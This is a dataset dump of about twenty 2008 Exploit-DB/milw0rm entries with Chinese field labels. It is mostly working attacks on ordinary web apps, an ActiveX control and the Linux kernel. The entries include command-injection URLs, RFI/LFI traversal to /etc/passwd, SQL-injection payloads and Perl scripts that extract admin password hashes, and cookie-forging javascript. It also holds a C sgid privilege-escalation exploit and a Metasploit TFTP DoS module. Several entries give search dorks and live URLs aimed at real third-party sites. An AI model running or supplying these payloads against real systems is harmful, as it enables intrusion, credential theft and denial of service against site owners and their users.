QLWD/code_shield huggingface dataset:
标题: Sepal SPBOARD 4.5 - 'board.cgi' Remote Command Execution EDB-ID: 6864 CVE: 2008-4873 类型: WEBAPPS 平台: CGI 发布日期: 2008-10-29 漏洞利用脚本: _____   ____   __   __     _       ____        ____    ____ 
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|
                                                            

Sepal's SPBOARD v4.5 (board.cgi) Remote Command Execution Vulnerability
Script : ):
POC : 
    |---> http://sansuyu.net/cgi-bin/spboard/board.cgi?id=ors1&number=908.cgi&file=|ls -lia|&action=down_file
    |---> http://sansuyu.net/cgi-bin/spboard/board.cgi?id=ors1&number=908.cgi&file=|cat board.cgi|&action=down_file
    |---> Open By Mozilla Firefox 
Dork : http://www.google.com.ly/search?hl=ar&q=SPBOARD+v4.5

        ____           _           _           __  __ 
       / ___|   ___   | |       __| |         |  \/  |
      | |  _   / _ \  | |      / _` |         | |\/| |
      | |_| | | (_) | | |___  | (_| |         | |  | |
       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
                                      |_____|         

# milw0rm.com [2008-10-29] URL: https://www.exploit-db.com/exploits/6864
标题: MW6 Barcode - ActiveX 'Barcode.dll' Insecure Method EDB-ID: 6871 CVE: 2008-4924 类型: REMOTE 平台: WINDOWS 发布日期: 2008-10-29 漏洞利用脚本: ï»¿<!--
By Dr.Pantagon
DeltaSecurityCenter
www.DeltaSecurity.ir
Description : 1D Barcode ActiveX
ver : 3.0.0.1
CopyRight : MW6 Technologies, Inc. 
Download Link : http://www.mw6tech.com/barcode/try/MW6Barcode.zip

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 6
 
This control contains two methods SaveAsBMP(); And SaveAsWMF();

Sub SaveAsWMF (
  ByVal FileName  As String 
)

AND

Sub SaveAsWMF (
  ByVal FileName  As String 
)
you can see this problem to all product this company
-->
<html>
<object classid='clsid:14D09688-CFA7-11D5-995A-005004CE563B' id='target' >
 <param name="BackColor" value="16777215">
 <param name="BarHeight" value="1,5">
 <param name="BarColor" value="0">
 <param name="BorderStyle" value="0">
 <param name="CheckDigit" value="0">
 <param name="CheckDigitToText" value="0">
 <param name="CodaBarStartChar" value="65">
 <param name="CodaBarStopChar" value="66">
 <param name="Data" value="1234">
 <param name="NarrowBarWidth" value="0,07">
 <param name="Orientation" value="0">
 <param name="ShowText" value="1">
 <param name="Supplement" value="">
 <param name="SupplementGap" value="0,5">
 <param name="SupplementType" value="0">
 <param name="SymbologyType" value="2">
 <param name="UPCESystem" value="0">
 <param name="Wide2NarrowRatio" value="2">
 <param name="FontName" value="Arial">
 <param name="FontItalic" value="0">
 <param name="FontStrikeOut" value="0">
 <param name="FontUnderline" value="0">
 <param name="FontWeight" value="400">
 <param name="FontHeight" value="24">
</object>
<script language='vbscript'>
targetFile = "C:\WINDOWS\system32\Barcode.dll"
prototype  = "Sub SaveAsBMP ( ByVal FileName As String )"
memberName = "SaveAsBMP"
progid     = "BARCODELib.MW6Barcode"
argCount   = 1
arg1="c:\windows\system_.ini"

target.SaveAsBMP arg1 

'target.SaveAsWMF arg1 

</script>

# milw0rm.com [2008-10-29] URL: https://www.exploit-db.com/exploits/6871
标题: Agares ThemeSiteScript 1.0 - 'loadadminpage' Remote File Inclusion EDB-ID: 6859 CVE: 2008-5066 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-28 漏洞利用脚本: **************************************************************************************

Author : DaRkLiFe
Greetz : str0ke & S.W.A.T. & funkys0ul & Team 1nF3Ct3d

**************************************************************************************
Script   :

ThemeSiteScript v1.0 Remote File Inclusion Vulnerability

Home Page :

http://agaresmedia.com

Download :

http://rapidshare.com/files/72501220/ThemeSiteScript_1.0_webgraf.ru.rar

**************************************************************************************

Exploit :

http://localhost/upload/admin/frontpage_right.php?loadadminpage=Sh3lLz?

**************************************************************************************

Vulnerable : line 2 : <?PHP include($loadadminpage); ?>

**************************************************************************************

THANKS ! GREETZ ! HAPPY DIWALI !
**************************************************************************************

# milw0rm.com [2008-10-28] URL: https://www.exploit-db.com/exploits/6859
标题: AIOCP 1.4 - 'poll_id' SQL Injection EDB-ID: 6854 CVE: 2008-4782 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-27 漏洞利用脚本: ###########################################
# Aiocp 1.4 Remote SQL Injection vulnerability
#
# Found by : ExSploiters
#
# Contact : exsploiters@gmail.com
#
# Download : http://sourceforge.net/project/showfiles.php?group_id=159137&package_id=178594&release_id=619157
###########################################

PoC :

http://[target]/[path]/public/code/cp_polls_results.php?poll_language=eng&poll_id=-0+union+select+0,1,2,version(),4,5,6--

L!ve Demo :

http://demo.opensourcecms.com/aiocp/public/code/cp_polls_results.php?poll_language=eng&poll_id=-0+union+select+0,1,2,version(),4,5,6--

Greetz :

no one =)

# milw0rm.com [2008-10-27] URL: https://www.exploit-db.com/exploits/6854
标题: TlGuestBook 1.2 - Insecure Cookie Handling EDB-ID: 6860 CVE: 2008-5065 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-28 漏洞利用脚本: -========================================-
Autore: x0r
Email: evolutionteam.x0 [at] gmail.com
Cms: TlGuestBook v 1.2
Bug: Insecure Cookie Handling Vulnerability
Cms Download: http://www.easy-script.com/scripts-dl/tlguestb-12.zip
-========================================-

Exploit:

javascript:document.cookie = "tlGuestBook_login=admin; path=/"

Greetz to: Alla mia Bimb4...Margherita ti amo...E Anche A Quel Frocio Di
Andrea ( HaveStyle), str0ke :P

^^'' p0wn3d Beby.

-=EOF=-

# milw0rm.com [2008-10-28] URL: https://www.exploit-db.com/exploits/6860
标题: MyKtools 2.4 - Arbitrary Database Backup EDB-ID: 6855 CVE: 2008-6815 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-27 漏洞利用脚本: MyKtools 2.4 Arbitrary Database Backup Vulnerability
By : Mountassif Moad
Exploit: http://localhost/mykdownload.php
after you get the page for download the backup

# milw0rm.com [2008-10-27] URL: https://www.exploit-db.com/exploits/6855
标题: MyForum 1.3 - Insecure Cookie Handling EDB-ID: 6857 CVE: 2008-5040 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-28 漏洞利用脚本: ###############################################################################################
[+] MyForum 1.3 Insecure Cookie Handling Vulnerability
[+] Discovered By : Mountassif Moad          
[+] Greetz : All my freind          
################################################################################################
Exploit:
javascript:document.cookie = "myforum_login=1; path=/";

javascript:document.cookie = "myforum_pass=1; path=/";
 
desc: if it dont work in the first test try another test 

# milw0rm.com [2008-10-28] URL: https://www.exploit-db.com/exploits/6857
标题: MyForum 1.3 - 'padmin' Local File Inclusion EDB-ID: 6846 CVE: 2008-4780 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-27 漏洞利用脚本: [o]------------------------------------------------------------------------------------[x]
 |  Local File Inclusion Vulnerability                                                  |
[o]------------------------------------------------------------------------------------[o]
 |  Software : MyForum 1.3                                                              |
 |  Download : http://www.easy-script.com/scripts-dl/myforumv1.3.zip                    |                                                    |
 |  Date     : 27 October 2008                                                          |
 |  Author   : Vrs-hCk                                                                  |
 |  Contact  : d00r[at]telkom[dot]net                                                   |
[o]------------------------------------------------------------------------------------[o]

[Â»] Vulnerable

    ./admin/centre.php

    3:  if (isset($padmin))
    4:  {
    5:
    6:  $fichier = "padmin/".$padmin.".php";
    7: 
    8:  if (file_exists($fichier))
    9:  {
    10: include ($fichier); 
    11: }

[Â»] Exploit

    http://[site]/[path]/admin/centre.php?padmin=[LFI]%00

[o]------------------------------------------------------------------------------------[x]
 |  Greetz                                                                              |
[o]------------------------------------------------------------------------------------[o]
 |  All Member oF MainHack BrotherHood - www.MainHack.com - www.ServerIsDown.org        |
 |  Paman, OoN_Boy, NoGe, Fluzy, H312Y, s3t4n, Angela Chang, IrcMafia, }^-^{, em|nem,   |
 |  loqsa, pizzyroot, xx_user, ^Bradley, ayulina, MaDOnk, nTc, terbang_melayang,        |
 |  chawanua, bl4Ck_3n91n3, R3V4N_B4ST4RD, dkk ... c0li.m0de.0n !!!                     |
[o]------------------------------------------------------------------------------------[o]

# milw0rm.com [2008-10-27] URL: https://www.exploit-db.com/exploits/6846
标题: e107 Plugin BLOG Engine 2.1.4 - SQL Injection EDB-ID: 6856 CVE: 2008-6438 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-28 漏洞利用脚本: e107 Plugin macgurublog_menu macgurublog.php (uid) Remote Sql inj

author: ZoRLu

home: z0rlu.blogspot.com 

concat: trt-turk@hotmail.com

date: 28/10/2008

n0te: YALNIZLIK YiTiRDi ANLAMINI YALNIZLIGIMDA  : ( (

n0te: a.q kpss : ) )

dork: allinurl:"macgurublog.php?uid="

exploit:

http://localhost/script_path/macgurublog.php?uid=[SQL]

[SQL]=

-1+union+select+concat(user_name,char(58),user_password,char(58)),2+from+e107_user/*

example:

http://www.dmchat.org.uk/e107_plugins/macgurublog_menu/macgurublog.php?uid=-1+union+select+concat(user_name,char(58),user_password,char(58)),2+from+e107_user/*

thanks: str0ke

# milw0rm.com [2008-10-28] URL: https://www.exploit-db.com/exploits/6856
标题: QuestCMS - Cross-Site Scripting / Directory Traversal / SQL Injection EDB-ID: 6853 CVE: 2008-4774 2008-4773 2008-4772 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-27 漏洞利用脚本: --------------------------------------------------------------------------------

Title : Questcms Multiple Remote Vulnerabilities [XSS/Directory Traversal/sql]

--------------------------------------------------------------------------------
#Author: d3b4g


#contact: bl4ckend[at]gmail[dot]com

--------------------------------------------------------------------------------
Affected software:
--------------------------------------------------------------------------------
Application :  Questwork Web Content Management system (QuestCMS)
URL :  http://www.questwork.com

--------------------------------------------------------------------------------

dork        : allinurl:"/questcms/"
--------------------------------------------------------------------------------
Directory traversal vulnibility
=============================
Exploit     : questcms/main/main.php?lang=tc&page=1&theme=../../../../../../../../etc/passwd%00.html

Live demo   : http://www.questwork.com/questcms/main/main.php?lang=tc&page=1&theme=../../../../../../../../etc/passwd%00.html


---------------------------------------------------------------------------------

sql injection:
==============
Vuln file:questcms/main/main.php?obj=[sql]


XSS:
====
exploit:/main/main.php?cx=[Xss]
--------------------------------------------------------------------------------



--------------------------------------------------------------------------------

greetz:

All my friends,milw0rm...

--------------------------------------------------------------------------------



--------------------------------- [ www.hotlism.org ] --------------------------------------

# milw0rm.com [2008-10-27] URL: https://www.exploit-db.com/exploits/6853
标题: TlAds 1.0 - Remote Insecure Cookie Handling EDB-ID: 6848 CVE: 2008-4783 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-27 漏洞利用脚本: ##############################
# TlAds v 1 => Insecure Cookie Handling
#
# Found By : x0r - Evolution Team
#
# Download: http://www.easy-script.com/scripts-dl/tlads-1.zip
###############################

Exploit:

javascript:document.cookie = "tlAds_login=admin; path=/"

Stupid Admin ! P0wned :P

Grazie Al Mio Amore...Ti Amo Da Morire Margherita :P


#Proud To Be Italian 

# milw0rm.com [2008-10-27] URL: https://www.exploit-db.com/exploits/6848
标题: Linux Kernel < 2.6.22 - 'ftruncate()'/'open()' Local Privilege Escalation EDB-ID: 6851 CVE: 2008-4210 类型: LOCAL 平台: LINUX 发布日期: 2008-10-27 漏洞利用脚本: /*
gw-ftrex.c:

Linux kernel < 2.6.22 open/ftruncate local exploit
by <gat3way at gat3way dot eu>

bug information:
http://osvdb.org/49081


!!!This is for educational purposes only!!!

To use it, you've got to find a sgid directory you've got
permissions to write into (obviously world-writable), e.g:
find / -perm -2000 -type d 2>/dev/null|xargs ls -ld|grep "rwx"
which fortunately is not common those days :)
And also a shell that does not drop sgid privs upon execution (like ash/sash).
E.g:

test:/fileserver/samba$ ls -ld
drwxrwsrwx 2 root root 4096 2008-10-27 16:27.
test:/fileserver/samba$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
test:/fileserver/samba$ /tmp/gw-ftrex
ash shell found!
size=80200
We're evil evil evil!

$ id
uid=33(www-data) gid=33(www-data) egid=0(root) groups=33(www-data)

Trqbva da kaja neshto umno kato zakliuchenie...ma sega ne moga da se setia.
*/



#include <unistd.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <fcntl.h>

int main(int argc, char *argv[])
{
char *buf=malloc(3096*1024); //3mb just to be sure
int a,len;
int fd,fd1;
char *buf1;
int shell=0;


if (stat("/bin/ash",buf)==0)
{
    printf("ash shell found!\n");
    shell=1;
}

if (shell==0) if (stat("/bin/sash",buf)==0)
{
    printf("sash shell found!\n");
    shell=1;
}

if (shell==0)
{
    printf("no suitable shell found (one that does not drop sgid permissions) :(\n");
    exit(2);
}


len=0;
if (shell==1) fd=open("/bin/ash",O_RDONLY);
if (shell==2) fd=open("/bin/sash",O_RDONLY);

while (read(fd,buf+len,1)) len++;

printf("size=%d\n",len);
fd1=open(".evilsploit",O_RDWR | O_CREAT | O_EXCL, 02750);
ftruncate(fd1, len);
buf1 = mmap(NULL, len, PROT_WRITE | PROT_EXEC, MAP_SHARED, fd1, 0);
memcpy(buf1,buf,len); 
munmap(buf1,len);
close(fd1);close(fd);
free(buf);
printf("We're evil evil evil!\n\n");
execv(".evilsploit", NULL);
}

// milw0rm.com [2008-10-27] URL: https://www.exploit-db.com/exploits/6851
标题: e107 Plugin alternate_profiles - 'id' SQL Injection EDB-ID: 6849 CVE: 2008-4785 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-27 漏洞利用脚本: #############################################################
e107 Plugin alternate_profiles (newuser.php?id) Remote SQL-injetion Vulnerability
#############################################################
[~] Author boom3rang
--------------------------------
[~] Site www.khg-crew.ws
--------------------------------
[~] Greetz KHG & H!tm@N & chs & redc00de & proxy-ki11er  & Hurley
--------------------------------
[!] Script Name: E107
[!] Plugin Vuln: alternate_profiles/newuser.php?id=
[!] Dork:  inurl:"/alternate_profiles/
#############################################################

---------------------------------------------------------------------------------------------------
[-] POC:
http://localhost/e107_plugins/alternate_profiles/newuser.php?id=[exploit]
---------------------------------------------------------------------------------------------------
[-] Exploit:
-9999+union+all+select+1,concat(user_name,char(58),user_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+e107_user/*
---------------------------------------------------------------------------------------------------
[-] LiveDemo:
http://briefcaseit.com/e107_plugins/alternate_profiles/newuser.php?id=-9999+union+all+select+1,concat(user_name,char(58),user_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+e107_user/*
---------------------------------------------------------------------------------------------------
#########################################
- United States of Albania
- Proud to be Albanian
- Proud to be Muslim
#########################################

# milw0rm.com [2008-10-27] URL: https://www.exploit-db.com/exploits/6849
标题: e107 Plugin EasyShop - 'category_id' Blind SQL Injection EDB-ID: 6852 CVE: 2008-4786 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-27 漏洞利用脚本: #!/usr/bin/perl
# ------------------------------------------------------------
# e107 (Plugin EasyShop) Remote Blind SQL Injection Exploit
# By StAkeR[at]hotmail[dot]it  
# Dork allinurl: e107_plugins/easyshop/easyshop.php
# Example http://www.clan-designs.co.uk
# easyshop/easyshop.php?choose_category=1&category_id= or 1=1
# easyshop/easyshop.php?choose_category=1&category_id= and 1=2
# ------------------------------------------------------------

use strict;
use warnings;
use LWP::UserAgent;
use URI::Escape;

my ($request,$send,$ord,$hash,$uid) = (undef,undef,undef,undef,1);

my $host = shift @ARGV or die "[?] Usage: perl $0 http://[host]\n";
my @chars = (48..57, 97..102); 
my $http = new LWP::UserAgent;

for(0..32)
{
   foreach $ord(@chars) 
   {
      $send = " or ascii(substring((select user_password from e107_user where user_id=1),$uid,1))=$ord/*";
      $send = uri_escape($send);
    
      $request = $http->get($host."/e107_plugins/easyshop/easyshop.php?choose_category=1&category_id=-1".$send);
    
     if($request->is_success and $request->content !~ /No products available/i)
     {
        $hash .= chr($ord); 
        $uid++;
     }
   }
}

if(defined $hash)
{
   print STDOUT "[+] MD5: $hash\n";
   exit;
}
else
{
   print STDOUT "[?] Exploit Failed!\n";
   exit;
}

# milw0rm.com [2008-10-27] URL: https://www.exploit-db.com/exploits/6852
标题: MyKtools 2.4 - 'langage' Local File Inclusion EDB-ID: 6850 CVE: 2008-4781 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-27 漏洞利用脚本: ##############
# Autor: x0r
#
# Email: evolutionteam.x0[at]gmail[dot]com
#
# Download: http://www.easy-script.com/scripts-dl/MyKtools-v2-4.zip
#
# Bug: LFI
##############

Bug:

In \update.php

// Include du fichier langue
if ($_GET['langage'])
{
$langue = $_GET['langage'];
include ("lang/".$langue.".php");
}

Exploit: \update.php?langage=../../../../../../etc/passwd%00

p0wn3d Beby.

-=EOF=-

# milw0rm.com [2008-10-27] URL: https://www.exploit-db.com/exploits/6850
标题: MyForum 1.3 - 'lecture.php' SQL Injection EDB-ID: 6844 CVE: 2008-4760 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-26 漏洞利用脚本: #!/usr/bin/perl

#***********************************************************************************#
# Remote SQL Injection Exploit                                                      #
#***********************************************************************************#
# Software : MyForum 1.3                                                            #
# Download : http://www.easy-script.com/scripts-dl/myforumv1.3.zip                  #
# Date     : 27 October 2008
# Author   : Vrs-hCk                                                                #
# Contact  : d00r[at]telkom[dot]net                                                 #
#***********************************************************************************#
# Greetz                                                                            #
#***********************************************************************************#
# MainHack BrotherHood - www.MainHack.com - www.ServerIsDown.org                    #
# Paman, OoN_Boy, NoGe, Fluzy, H312Y, s3t4n, Angela Chang, IrcMafia, }^-^{, em|nem, #
# loqsa, pizzyroot, xx_user, ^Bradley, ayulina, MaDOnk, nTc, terbang_melayang,      #
# chawanua, bL4Ck_3n91n3, R3V4N_B4ST4RD, bryan_ae1, dkk ... c0li.m0de.0n !!!        #
#***********************************************************************************#

use HTTP::Request;
use LWP::UserAgent;

$bug = "lecture.php?id=1";
$sql = "+union+select+1,concat(0x21,pseudo,0x3a,mdp,0x21),3,4,5,6,7,8+from+forum_user+where+id=1--";

print "\n ******************************************\n";
print " *     MyForum 1.3 Remote SQL Exploit     *\n";
print " *       For get Admin or User Login      *\n";
print " *            Coded by Vrs-hCk            *\n";
print " ******************************************\n\n";

if (@ARGV != 1) { &help; exit(); }

sub help(){
 print " [?] Use : perl $0 www.target.com\n";
 print "           perl $0 www.target.com/path\n\n";
}

if ($ARGV[0] =~ /http:\/\// ) { $target = $ARGV[0]."/"; } else { $target = "http://".$ARGV[0]."/"; }
print " [SQL] Exploiting ...\n\n";

my $injection = $target.$bug.$sql;
my $request   = HTTP::Request->new(GET=>$injection);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response  = $useragent->request($request);
if ($response->is_success) {
 my $res   = $response->content;
 if ($res =~ m/!(.*):(.*)!/g) {
  my ($username,$passwd) = ($1,$2);
  print " [target] $target \n";
  print " [loginx] $username:$passwd \n\n";
 }
 else { print " [SQL] Error, Fail to get admin login.\n\n"; }
}
else { print " [SQL] Error, ".$response->status_line."\n\n"; }

# milw0rm.com [2008-10-26] URL: https://www.exploit-db.com/exploits/6844
标题: SFS Ez Forum - SQL Injection EDB-ID: 6843 CVE: 2008-4754 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-26 漏洞利用脚本: ==================================================================================
      SFS Forum (forum.php id) Remote SQL Injection Vulnerability
==================================================================================
      __  __           __          
      / / / /_  _______/ /__  __  __
     / /_/ / / / / ___/ / _ \/ / / /
    / __  / /_/ / /  / /  __/ /_/ / 
   /_/ /_/\__,_/_/  /_/\___/\__, /  
                           /____/   
==================================================================================
----------------------------------------------------------------------------------
Website script: http://www.scripts-for-sites.info/index.php
----------------------------------------------------------------------------------
Exploit:      http://localHost/forum/forum.php?forum=-9999+union+all+select+null,concat_ws(0x3a,password,username,%20email),null,null+from+users/*
----------------------------------------------------------------------------------
LiveDemo:
http://www.turnkeyzone.com/demos/forum/forum.php?forum=-9999+union+all+select+null,concat_ws(0x3a,password,username,%20email),null,null+from+users/*
----------------------------------------------------------------------------------

==================================================================================
Greetz      : Boom3rang
Special Thx : Darckc0de
==================================================================================

# milw0rm.com [2008-10-26] URL: https://www.exploit-db.com/exploits/6843
标题: PumpKIN TFTP Server 2.7.2.0 - Denial of Service (Metasploit) EDB-ID: 6838 CVE: 2008-6791 类型: DOS 平台: WINDOWS 发布日期: 2008-10-25 漏洞利用脚本: require 'msf/core'

class Metasploit3 < Msf::Auxiliary

 include Msf::Exploit::Remote::Udp
 

 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'PumpKIN TFTP Server DoS',
   'Description'    => %q{
    PumpKIN TFTP Server 2.7.2.0 eventually reaches a DoS condition when
    provided with an overly long mode value.  It'll take a minute. 
    This condition is reached quicker when hammered repeatedly.
   },
   'Author'         => ['Saint Patrick','monStream00'],
   'License'        => MSF_LICENSE,
   'Version'        => '7',
   'DisclosureDate' => 'Oct 25 2008'))

  register_options([
   OptInt.new('MULTIPLE', [ false, 'How many times to send (more kills it faster)', 1 ])
  ])
 end

 def run
  
  print_status("Sending bad data...")
  
  crapfile=Rex::Text.rand_text_english(4,"\x00")
  crapdata=Rex::Text.rand_text_english(8000,"\x00")
  lamestring="\x00\x02"+crapfile+"\x00"+crapdata+"\x00"
  mul=datastore['MULTIPLE']
  0.upto(mul) do
   connect_udp
   udp_sock.put(lamestring)
   sleep 1
   disconnect_udp
  end

  print_status("PumpKIN TFTP daemon is choking...")

 end
end

# milw0rm.com [2008-10-25] URL: https://www.exploit-db.com/exploits/6838